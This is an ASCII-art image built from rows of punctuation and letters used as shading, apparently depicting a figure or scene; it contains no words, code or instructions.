.::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... 